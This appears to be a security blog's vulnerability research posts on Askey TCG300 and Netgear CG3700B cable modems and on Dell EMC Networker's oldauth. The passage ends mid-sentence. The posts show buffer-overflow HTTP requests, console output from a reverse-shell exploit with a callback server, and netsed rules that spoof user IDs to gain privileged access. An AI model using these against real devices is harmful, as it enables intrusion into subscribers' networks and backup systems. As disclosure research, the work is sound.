 stackShow       taskDelete      taskInfo        taskPrioritySet taskResume
 taskShow        taskSuspend     taskSuspendAll  taskTrace       version
 write_memory    zone
 ----
 [80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter]
 [embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient]
 [ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
 [tr69]

Each console has a specific function (CM stands for Cable Modem, RG stands for Router Gateway). Access to the consoles is required to obtain crash logs from devices but it is not required to successfuly exploit identified issues in production devices.

Firmware Analysis

ProgramStore Extraction

Firmware files are saved in ProgramStore file format. The format defines a custom header containing the date, versions, filename, load address, and then the actual firmware compressed using LZMA.

00000000  d2 2f 00 05 01 00 01 ff  59 56 41 3c 00 50 3c 0c  |./......YVA<.P<.|
00000010  80 00 40 00 54 43 47 33  30 30 2d 44 32 32 46 2e  |..@.TCG300-D22F.|
00000020  45 47 30 30 2e 31 35 2e  30 31 2e 4f 42 45 2e 30  |EG00.15.01.OBE.0|
00000030  31 2e 30 35 2e 31 31 2d  56 2d 45 2d 31 37 30 36  |1.05.11-V-E-1706|
00000040  33 30 5f 73 74 6f 2e 62  69 6e 00 00 00 00 00 00  |30_sto.bin......|
00000050  00 00 00 00 d1 d8 00 00  35 94 8d 51 5d 00 00 00  |........5..Q]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b e9 58 48  |t....!c.@..9..XH|

In order to decompress the firmware image, you need to build the ProgramStore utility from Broadcom:

git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make

Once built, you can use it to decompress the image:

./ProgramStore -x -f TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin 
No output file name specified.  Using TCG300-D22F.out.
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Loading Firmware with Reverse Engineering Tools

Loading the firmware in Radare2 You can load the firmware in radare2 with the command below:

r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1

Loading the firmware in Ghidra When loading in Ghidra, you need to set the architecture to MIPS 32bit big endian, and then set the right loading address.

Advanced details on reverse engineering process such as function auto-identification, automated function renaming, memory mappings, or interrupt handling falls out of scope of this article and are therefore not covered. Again, if you want to know more, head over to ecos.wtf.

Findings

The following sections document security vulnerabilities we have identified when reverse engineering the firmware code. Please note that this is in no way an exhaustive list of vulnerabilities that may lie within the firmware.

Stack Buffer Overflows

We identified a stack buffer overflow in the parental control section of the web administration interface. It affects a form handler that expects a list of URLs that should be blocked by parental controls.

It’s possible to trigger a stack overflow by sending an HTTP request such as the one displayed below. Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.

POST /goform/AskParentalControl HTTP/1.1
Host: 192.168.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded

urlList0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The vulnerability is triggered at offset 0x803f4d44 when a call to strncat is made with user controlled input and user controlled length.

As we can see in the excerpt below, the return address (PC) has been overwritten with our payload (0x41414141).

******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00005a00 r2/v0  =00000001 r3/v1  =00000001
r4/a0  =867eef2c r5/a1  =00000000 r6/a2  =00000002 r7/a3  =81390000
r8/t0  =8dcc6d00 r9/t1  =8dcc6d00 r10/t2 =00000002 r11/t3 =00002300
r12/t4 =00000000 r13/t5 =0d004156 r14/t6 =53000100 r15/t7 =0003e800
r16/s0 =41414141 r17/s1 =41414141 r18/s2 =41414141 r19/s3 =41414141
r20/s4 =41414141 r21/s5 =41414141 r22/s6 =41414141 r23/s7 =41414141
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =805199b4 r27/k1 =80e2f864
r28/gp =81971b10 r29/sp =86703fd0 r30/fp =00000001 r31/ra =41414141

PC   : 0x41414141    error addr: 0x41414141
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 00000000
Bad PC.  Using RA for trace.
Bad PC or SP.  Can't trace the stack.

Current thread = 86706004

We have developed a stable exploit that will get the attacker a reverse shell on the device. The exploit overwrites the return address and follows a ROP chain that gets the device to connect to an arbitrary server.

The server returns a second stage payload that is copied in memory by the ROP chain before it executes it by making the program counter points to that address. Please note that this exploit works whether console I/O is enabled or not. This means it will work on production modems deployed by Orange Belgium.

In the excerpt below, we send the exploitation request:

python auth_exploit.py -u admin -p cnEv5fuV
[+] Login successful. Sending exploit payload.

While in this one, we have our callback server that serves the second stage and obtain a reverse shell on the device:

python server.py
[+] Trying to bind to 0.0.0.0 on port 2049: Done
[+] Waiting for connections on 0.0.0.0:2049:
[+] Got connection from 192.168.22.1 on port 1031
[+] Got connection. Sending payload.
[*] Switching to interactive mode
$ help
!               ?               REM             call            cd             
dir             find_command    help            history         instances      
ls              man             pwd             sleep           syntax         
system_time     usage           
----
btcp            con_high        cpuLoad         cpuUtilization  exit           
mbufShow        memShow         mutex_debug     ping            read_memory    
reset           routeShow       run_app         shell           socket_debug   
stackShow       taskDelete      taskInfo        taskPrioritySet taskResume     
taskShow        taskSuspend     taskSuspendAll  taskTrace       version        
write_memory    zone            
----
[80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter] 
[embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient] 
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop] 
[tr69] 
$  

Heap Buffer Overflows

We identified another type of memory corruption, this time reachable from an unauthenticated user perspective.

When parsing the HTTP Host header, the device makes an insecure copy to the heap, which leads to heap corruption. This corruption can be triggered by sending the HTTP request displayed below.

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.

******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F  

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00000000 r2/v0  =81390000 r3/v1  =00000001
r4/a0  =00000020 r5/a1  =00000000 r6/a2  =00000000 r7/a3  =00000000
r8/t0  =00000001 r9/t1  =41414141 r10/t2 =00000009 r11/t3 =0000000b
r12/t4 =00000001 r13/t5 =41414141 r14/t6 =41414141 r15/t7 =41414141
r16/s0 =41414135 r17/s1 =867065a8 r18/s2 =867064c0 r19/s3 =86e9d320
r20/s4 =86704810 r21/s5 =867065a8 r22/s6 =86704838 r23/s7 =11110017
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000006 r27/k1 =00000006
r28/gp =81971b10 r29/sp =86704420 r30/fp =86704920 r31/ra =80016c5c

PC   : 0x80016c68    error addr: 0x41414139
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 20000000
Instruction at PC: 0x8e030004
iCache Instruction at PC: 0x00000000

entry 80016bf0    called from 800049d8
entry 800049d0    called from 80ea3b14
entry 80ea3b08    called from 80ea3b30
entry 80ea3b28    called from 80020cd8
entry 80020cb4    called from 8002201c
entry 8002200c    called from 8043860c
entry 804382e8  Return address (41414141) invalid or not found.  Trace stops.

We also turned this corruption into a stable exploit that connects back to an arbitrary server. Due to the lack of public tools to reverse engineer Broadcom eCOS firmwares (yet), all we can say is that the corruption happens when manipulating BcmHeapManager MemoryNode objects at offset 0x80016bf0. The function responsible for parsing HTTP request making insecure memory copies starts at offset 0x804382e8.

Remote Exploitation

With a few exceptions, Orange Belgium cable modems web administration interface is not directly exposed to the public Internet and can only be reached from customers local area network.

However, attackers could target the device while connected to the wireless guest network and gain the ability to cross boundaries between the guest and private networks.

Under specific conditions, attackers could also target cable modems over the Internet by getting customers to open a malicious web page. The malicious web page would execute JavaScript code exploiting the buffer overflow to gain remote code execution. To do so, the malicious code would need to bypass two security mechanisms: Same-origin Policy, and enforced authentication.

We discovered that affected devices are vulnerable to DNS rebinding attacks, which can be used to bypass the Same-origin policy. To bypass authentication, the attacker would need to be able to guess or derive the device’s password (we did not identify ways to do so, but it’s not unheard of or to get its victim to have established an authenticated session onto the device web administration interface during the day. As you might have noticed, the web interface does not keep track of opened session with a session cookie but simply links the client IP with an authenticated session.

Conclusion

In this report, we successfully demonstrated that the web administration panel of Askey TCG300 devices is vulnerable to different kinds of buffer overflows.

By exploiting these vulnerabilities, attackers could fully compromise Orange Belgium cable modems by just being connected to the (guest) network or, under very specific conditions, over the Internet by targeting an Orange Belgium subscriber.

Side Note on Compal

We did not look at the Compal cable modem provided by Orange Belgium. However, we can say with medium to high confidence that they are highly unlikely to be affected by the exact same issues. While Askey devices run on eCOS, most components of Compal appears to be running on Linux.

Proof-of-Concepts

All proof-of-concepts and exploit code can be found in ecos.wtf Github repo ecosploits.

Dell EMC Networker - oldauth is not auth !

Thu, 11 Mar 2021 10:00:00 +0000

In a previous life I came upon Dell EMC Networker in different environments and found different ways to exploit the nsrexecd daemon in similar ways than CVE-2017-8023, without ever being 100% sure that it indeed was that specific CVE. The CVE description clearly mentions “unauthenticated remote code execution vulnerability in the Networker Client execution service (nsrexecd) when oldauth authentication method is used”, so I decided to investigate Networker authentication mechanisms by the end of 2020.

EMC NetWorker (formerly Legato NetWorker) is an enterprise-level data protection software product that unifies and automates backup to tape, disk-based, and flash-based storage media across physical and virtual environments for granular and disaster recovery. Cross-platform support is provided for Linux, Windows, macOS, NetWare, OpenVMS and Unix environments.

In this article, we’ll cover the different authentication mechanisms implemented by Networker (oldauth and nsrauth) and explain in details why relying on oldauth is the worst decision you can make when deploying Dell EMC Networker.

Understanding the weaknesses of oldauth will help us in a second article where I’ll discuss different ways to gain unauthenticated remote command execution on Dell EMC Networker Server.

EMC Networker Authentication Primer

Dell EMC Networker RPC service supports two different authentication mechanisms:

oldauth - legacy authentication mechanism, kept for backward compatibility
nsrauth - newer authentication mechanism, with its own flaws

Both mechanisms are supported by default, with an administrator attribute limiting access to the following users:

on a UNIX or Linux host, any root user from any host
on a Windows host, any user in the administrators group from any host

We confirmed this in our lab by printing the administrator attribute on a Linux and a Windows host:

nsradmin> print
    type: NSR log;
    administrator: root,
    "user=root,host=networker-server";

nsradmin> print
    type: NSR log;
    administrator: Administrators,
    "group=Administrators,host=desktop-4o00s9d";

These authentication mechanisms protects the RPC daemon named nsrexecd, which can be called to execute commands. From the nsrexec manual page:

The nsrexec command is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.

This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). I’d also like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as savefs or savegrp.

oldauth Authentication Mechanism

Oldauth authentication mechanism is more of an identification mechanism in that the client just has to state that it is a specific user for the server to trust them. When oldauth is used, the user identifier of the local user executing the Networker client is transmitted as a 32 bit integer in the first RPC request.

The hexdump below is an RPC call to nsr_render_log, with the user identifier highlighted. We see that the user id is 0x000003e8 (1000 decimal), which is the default identifier of the first non-root user created on Linux

If the request is sent out by the root user, we see the user identifier is now 0x00000000 (0 decimal), which is the default user identifier of the root user on Linux:

The same mechanism is used by Windows hosts, although the user numbering changes. If the request is sent by a user that is not a member of the Administrators group, the user identifier is set to ‘1’ (0x00000001).

If the request is sent by a user that is a member of the Administrators group, the user identifier is set to ‘0’ (0x00000000), which coincidentally matches the root user id.

Demonstrating that this is how Networker authenticates users with oldauth can be done with socat and netsed placed between a Networker client running as an unprivileged user and a remote Networker server.

Launching socat as a simple TCP forwarder and netsed with a match and replace rule to replace the user identifier 0x03e8 with user identifier 0x0000.

socat -v -v -v TCP4-LISTEN:7938,reuseaddr,fork TCP:192.168.121.4:7938
netsed tcp 7937 192.168.121.4 7937 s/%03%e8/%00%00 

Live Patching RPC Requests (Linux Server)

If we send an RPC request directly to the remote server, we get a permission refused:

EXPORT RCMD='nsr_render_log /nsr/logs/daemon.raw'
./nsrexec -c 192.168.121.4
145843:nsr_render_log: Unable to open log file 'daemon.raw': Permission refused

If we send the request through our “patcher host”, the remote server genuinely think we are root and provide us with the file content we requested through RPC:

EXPORT RCMD='nsr_render_log /nsr/logs/daemon.raw'
./nsrexec -c 192.168.121.1
101040 22/02/21 13:32:43  1 3 0 2795517760 4001 0 networker-server nsrexecd RAP notice
---snip---

When the request goes through, we can see netsed patching the user identifier:

netsed tcp 7937 192.168.121.4 7937 s/%03%e8/%00%00 
netsed 1.2 by Julien VdG <julien@silicone.homelinux.org>
      based on 0.01c from Michal Zalewski <lcamtuf@ids.pl>
[*] Parsing rule s/%03%e8/%00%00...
[+] Loaded 1 rule...
[+] Using fixed forwarding to 192.168.121.4,7937.
[+] Listening on port 7937/tcp.
[+] Got incoming connection from 192.168.121.140,38493 to 192.168.121.1,7937
[*] Forwarding connection to 192.168.121.4,7937
[+] Caught client -> server packet.
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
[*] Done 4 replacements, forwarding packet of size 164 (orig 164).
--snip--

Live Patching RPC Requests (Windows Server)

If we send an RPC request directly to the remote server, we get a permission refused:

C:\Users\Jane Doe>set RCMD=nsr_render_log "C:\Program Files\EMC NetWorker\nsr\logs\daemon.raw"
C:\Users\Jane Doe>nsrexec -c 192.168.121.182
90475:nsrexecd: User 'uid1' cannot request a command execution.

If we send the request through our “patcher host”, the remote server genuinely think we are a member of Administrators group and provide us with the file content we requested through RPC:

C:\Users\Jane Doe>set RCMD=nsr_render_log "C:\Program Files\EMC NetWorker\nsr\logs\daemon.raw"
C:\Users\Jane Doe>nsrexec -c 192.168.121.1
101040 22/02/21 13:32:43  1 3 0 2795517760 4001 0 networker-server nsrexecd RAP notice
--snip--

When the request goes through, we can see netsed patching the user identifier:

netsed tcp 7937 192.168.121.182 7937 s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe
netsed 1.2 by Julien VdG <julien@silicone.homelinux.org>
      based on 0.01c from Michal Zalewski <lcamtuf@ids.pl>
[*] Parsing rule s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe...
[+] Loaded 1 rule...
[+] Using fixed forwarding to 192.168.121.182,7937.
[+] Listening on port 7937/tcp.
[+] Got incoming connection from 192.168.121.30,65130 to 192.168.121.1,7937
[*] Forwarding connection to 192.168.121.182,7937
[+] Caught client -> server packet.
    Applying rule s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe...
[*] Done 1 replacements, forwarding packet of size 188 (orig 188).
[+] Caught server -> client packet.
[*] Forwarding untouched packet of size 36.

The key takeaway here is that oldauth implements identification rather than authentication.

nsrauth Authentication Mechanism

The official documentation states that

NetWorker hosts and daemons use the nsrauth mechanism to authenticate components and users, and to verify hosts. The nsrauth GSS authentication mechanism is a strong authentication that is based on the Secure Sockets Layer (SSL) protocol.

The nsrexecd service on each NetWorker host provides the component authentication services. The first time the nsrexecd process starts on a host, the process creates the following unique credentials for the host:

2048-bit RSA private key
1024-bit RSA private key, for backward compatibility
self-signed certificate or public key
NW Instance ID
hostname

When a NetWorker host starts a session connection to another host, the following (simplified) steps occur:

an RPC session is initialized
the client send its certificate Common Name to the server
the server send its certificate Common Name to the client
the client send its certificate in PEM format
the server send its certificate in PEM format
a mutually authenticated SSL/TLS session is established using the exchanged certificates and corresponding keys

The exchanged common names and certificates are actually checked against each peer NSR Peer Information database, and only the matched certificate in that database will be trusted when establishing the mutually authenticated SSL/TLS session. If no information is present in that database, EMC Networker peers go into TOFU (Trust On First Use) mode, by trusting that certificate and saving it in its database for future use.

The diagram below presents the different authentication checks that are performed prior to establishing the session:

The risk related to Trust On First Use is only mentioned in Dell EMC Networker Security Configuration Guide:

When a NetWorker host begins a connection with another host for the first time, NetWorker automatically creates an NSR Peer Information resource for the beginning host in the nsrexec database on the target host. NetWorker uses the information that is contained in the NSR Peer Information resource to verify the identity of the beginning host on subsequent authentication attempts. Manually create the NSR Peer Information resource on the target client before the two hosts communicate for the first time, to eliminate the possibility that an attacker could compromise this process.

A difficult security baseline

Now that we have covered each authentication mechanism and their respective flaws, we can define what should be the minimum security baseline for a Dell EMC Networker deployment. This is quite complex because there are multiple layers to it, sometimes executing kind of the same job, for example:

IP allow-list in NSRLA ‘auth methods’ field limit the source IP from which an RPC request can be received
A file (/nsr/res/servers on Linux, C:\Program Files\EMC NetWorker\nsr\res\servers on Windows) can be used to define a list of trusted hosts from which RPC requests can be received
the NSRLA administrators list contains a list of users. If a user is explicitly linked to a hostname, the daemon supposedly execute a reverse DNS lookup to make sure the request comes from the right host. If a hostname is not set, the daemon accepts RPC request from any host as long as they claim the right username, considering it’s allowed by the allow-list

For a Networker system to be fully protected against abuse, the following should be true for all hosts running a Networker component:

only nsrauth is enabled, oldauth is explicitly forbidden in NSRLA ‘auth methods’ field
IP allow-listing is enforced (either in NSRLA ‘auth methods’ or ‘servers’ file) on Networker nodes (I’d recommend: trusted host can contact servers, servers can contact clients and storage node, deny everything else)
user accounts in the administrator list should be explicitly linked to a host, get rid of usernames without a hostname
NSR Peer Information, including certificates, are provisioned on all Networker hosts (clients, storage nodes, servers)

This leaves plenty of room for attackers in real world deployment, especially when we know that the default configuration of Networker components allow the oldauth mechanism from any source IP.

Conclusion

Backup systems is the holy grail to attackers given they contain all the sensitive information from backed up hosts without the need to compromise them in the first place. Relying on identification mechanisms rather than strong authentication for a service that let’s you interact with these backup systems was a bad design decision that probably still affects lots of Networker deployments.

I fully understand the pain of backup systems administrators that have to support systems built when Solaris and rsh was all the rage, but I hope this piece will help everyone understand the risk and convince you to put mitigations in place. You don’t even need to implement everything right now ! You can start by allow-listing source IPs, then review the authorized users lists, then slowly move the infrastructure to nsrauth rather than oldauth.

Dell, maybe stop releasing versions with oldauth supported and 0.0.0.0/0 as allow-list ? I know you do for AWS cloud deployments of Networker since version 19.4 :)

In the next piece, I’ll demonstrate how to gain unauthorized RCE as root on Dell EMC Networker Server with a default configuration by using different methods (legit networker commands, command injection, and Erlang abuse).

References

[0] Dell Technologies - EMC NetWorker Security Configuration Guide - https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf

VOOdoo - Remotely Compromising VOO Cable Modems

Tue, 09 Mar 2021 06:00:00 +0000

This report outlines the VOOdoo vulnerabilities found in NETGEAR CG3100 and CG3700B cable modems provided by VOO to its subscribers.

These modems use a weak algorithm to generate default WPA2 pre-shared keys, allowing an attacker in reception range of a vulnerable modem to derive the WPA2 pre-shared key from the access point MAC address. The modems are also vulnerable to remote code execution through the web administration panel. The exploit is possible due to usage of derivable credentials and programming errors in multiple form handlers.

By chaining these vulnerabilities an attacker can gain unauthorized access to VOO customers LAN (over the Internet or by being in reception range of the access point), fully compromise the router, and leave a persistent backdoor allowing direct remote access to the network.

The full technical report I sent to CERT.be at the time is available here.

I reported these issues to VOO in June 2020 (a detailed coordinated disclosure timeline is provided at the end of this piece) and worked with them so that affected customers could be protected.

VOO had to be very creative when coming up with mitigation tactics given that NETGEAR considers the device as end of life and therefore did not offer to fix the issues affecting their own firmware. VOO engineers managed to block remote exploitation (as in over the Internet) by deploying two fixes: a DNS rebinding filter at ISP level, and disabling UPnP service on all modems that do not explicitly use it. Sadly, and thanks to NETGEAR, you are still at risk if you don’t use your ISP’s DNS and actively rely on UPnP. This, however, should represent a really small percentage of affected customers.

A fix was also applied to the wireless stack so that the access point would use the actual wireless SoC MAC address instead of the MAC address assigned by Netgear firmware on boot. This way the access point no longer leak information that can be used to derive the default wireless pre-shared key.

However, it is still possible to bruteforce a list of valid pre-shared key candidates by using known Netgear Organizational Unit Identifiers and the access point SSID as an oracle. It takes less than a few minutes to run and gives you a small set (less than 30 candidates) to try.

I strongly recommend anyone with a Netgear CG3100 or CG3700B to update their wireless SSID and password if they’re still using the factory defaults. If you don’t steer away from factory defaults, you’re still at risk of an attacker gaining unauthorized access to your network.

Now that this is out of the way, let’s dig in !

Edit 12/03/2021: just got a report from someone who’s a previous VOO customer indicating that Netgear CG3100 are also affected. I updated this post to reflect that and contacted VOO so they check if they still have CG3100 on their network and if they were part of the patch roll out.

Introduction

VOO is a belgian Internet Service Provider which mostly serves the Wallonia region and part of Brussels region. It provides Internet connectivity over existing cable television systems using DOCSIS.

Two different models of cable modems are currently deployed by VOO:

Netgear CG3700B
Technicolor TC7210.V

Due to the recent release of Cable Haunt[1] and, let’s be honest, infinite boredom due to an ongoing global pandemic, we decided to take a look at one of these models: the Netgear CG3700B.

Firmware Extraction

NETGEAR does not publish firmware files for devices dedicated to large ISPs. In order to gain access to the firmware we had to either exploit a flaw in the web administration panel or use physical means such as flash desoldering or UART console access.

Given our limited knowledge of the device, we decided to go the physical way and opened the box.

Accessing console port (UART)

We immediately identified what looked like two UART pin-out. When auto-identifying baud rate, we noticed that the first pin-out is live while the other is not. Usually, cable modems have two separate systems: a Media Server (MS) running Linux and a Cable Modem (CM) real-time operating system running either eCOS or VxWorks. It turns out that this specific model does not have a Media Server component.

We hooked a Bus Pirate to the UART pinout and immediately got dropped into a CM console once the verbose boot process was done.

BCM3383A2 TP0 346890
MemSize:            128 M
Chip ID:     BCM3383Z-B0

BootLoader Version: 2.4.0alpha18 Release Gnu spiboot dual-flash reduced DDR drive linux
Build Date: Dec 15 2014
Build Time: 19:25:30
SPI flash ID 0xc22013, size 0MB, block size 64KB, write buffer 256, flags 0x0
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
parameter offset is 41508

Signature/PID: c200

Reading flash map at ff30, size 192
Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x0, length 0x5c

Image 1 Program Header:
   Signature: c200
     Control: 0005
   Major Rev: 0003
   Minor Rev: 0000
  Build Time: 2016/10/25 08:50:23 Z
 File Length: 4951748 bytes
Load Address: 80004000
    Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
         HCS: d65b
         CRC: 6991be87

Found image 1 at offset 80000
NandFlashRead: Reading offset 0x4000000, length 0x5c

Enter '1', '2', or 'p' within 2 seconds or take default...
. .

NandFlashRead: Reading offset 0x0, length 0x200
NandFlashRead: Reading offset 0x200, length 0x4b8d20
Performing CRC on Image 1...
CRC time = 131499340
Detected LZMA compressed image... decompressing...
Target Address: 0x80004000
decompressSpace is 0x8000000
Elapsed time 3160571220

Decompressed length: 23144647
Copying partition table to 0x83fffc04 180
Copying partition table to 0x80000904 180
Executing Image 1...
--snip--
CM>

Firmware dump with bcm2-utils

While searching for documentation on Broadcom-based cable modems, we discovered bcm2-utils. This project provides two utilities:

bcm2dump: A utility to dump ram/flash, primarily intended as a firmware dump tool for cable modems based on a Broadcom SoC. Works over serial connection (bootloader, firmware) and telnet (firmware).
bcm2cfg: A utility to modify/encrypt/decrypt the configuration file (aka GatewaySettings.bin), but also NVRAM images.

bcm2dump requires model-specific memory mappings definition from profiledef.c to work. Given that the device under test was not documented yet, we gathered information by using the modem’s flash commands.

As we can see below, the eCOS system uses two flash storage:

SPI flash for the bootloader and non-volatile data
NAND flash to store the firmware files (image1 and image2).

CM> cd flash
Active Command Table:  Flash Driver Commands (flash)
CM -> flash
CM/Flash> show

Flash Device Information:

      CFI Compliant: no
        Command Set: Generic SPI Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 256 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 8
         Total size: 524288 bytes, 0 Mbytes
       Current mode: Read Array
        Device Size: 512 KB, Write buffer: 256, Flags: 0

      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0   64 0x1badf1a5           0         0 bootloader (65536 bytes)
    1   64 0x1baef1a5     0x10000         0 permnv (65536 bytes)
    2   64 0x1baff1a5     0x20000       ??? {unassigned}
    3   64 0x1bb0f1a5     0x30000       ??? {unassigned}
    4   64 0x1bb1f1a5     0x40000       ??? {unassigned}
    5   64 0x1bb2f1a5     0x50000       ??? {unassigned}
    6   64 0x1bb3f1a5     0x60000         0 dynnv
    7   64 0x1bb4f1a5     0x70000   0x10000 dynnv (131072 bytes)

Flash Device Information:

      CFI Compliant: no
        Command Set: Generic NAND Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 512 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 1024
         Total size: 134217728 bytes, 128 Mbytes
       Current mode: Read Array
        Device Size: 128MB, Block size: 128KB, Page size: 2048

      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0  128 0x1badf1a5           0         0 image1
    1  128 0x1baff1a5     0x20000   0x20000 image1
    2  128 0x1bb1f1a5     0x40000   0x40000 image1
    3  128 0x1bb3f1a5     0x60000   0x60000 image1
    4  128 0x1bb5f1a5     0x80000   0x80000 image1
    5  128 0x1bb7f1a5     0xa0000   0xa0000 image1
--snip--
  509  128 0x1fa7f1a5   0x3fa0000 0x3fa0000 image1
  510  128 0x1fa9f1a5   0x3fc0000 0x3fc0000 image1
  511  128 0x1fabf1a5   0x3fe0000 0x3fe0000 image1 (67108864 bytes)
  512  128 0x1fadf1a5   0x4000000         0 image2
  513  128 0x1faff1a5   0x4020000   0x20000 image2
  514  128 0x1fb1f1a5   0x4040000   0x40000 image2
  515  128 0x1fb3f1a5   0x4060000   0x60000 image2
  516  128 0x1fb5f1a5   0x4080000   0x80000 image2
--snip--
 1022  128 0x23a9f1a5   0x7fc0000 0x3fc0000 image2
 1023  128 0x23abf1a5   0x7fe0000 0x3fe0000 image2 (67108864 bytes)

With that information in hand, we wrote the following profile:

diff --git a/profiledef.c b/profiledef.c
index 8cb6f9b..25dac47 100644
--- a/profiledef.c
+++ b/profiledef.c
@@ -66,6 +66,33 @@ struct bcm2_profile bcm2_profiles[] = {
                                { .name = "ram" },
                                                },
},
+    {
+        .name = "CG3700B",
+        .pretty = "CG3700B-1V2FSS",
+        .pssig = 0xa0f7,
+        .baudrate = 115200,
+        .spaces  = {
+            { .name = "ram" },
+            {
+                .name = "nvram",
+                .size = 512 * 1024,
+                .parts = {
+                    { "bootloader", 0x0000000, 0x010000 },
+                    { "permnv",     0x0010000, 0x010000, "perm" },
+                    { "dynnv",      0x0060000, 0x020000, "dyn" },
+                }
+            },
+            {
+                .name = "flash",
+                .size = 128 * 1024 * 1024,
+                .parts = {
+                    { "image1", 0x0000000, 0x4000000 },
+                    { "image2", 0x4000000, 0x4000000 }
+                }
+
+            }
+        }
+    },

We then tried to dump firmware images over our serial connection but it failed constantly. We later found out that eCOS was always logging IPv6 router advertisement messages such as the one below:

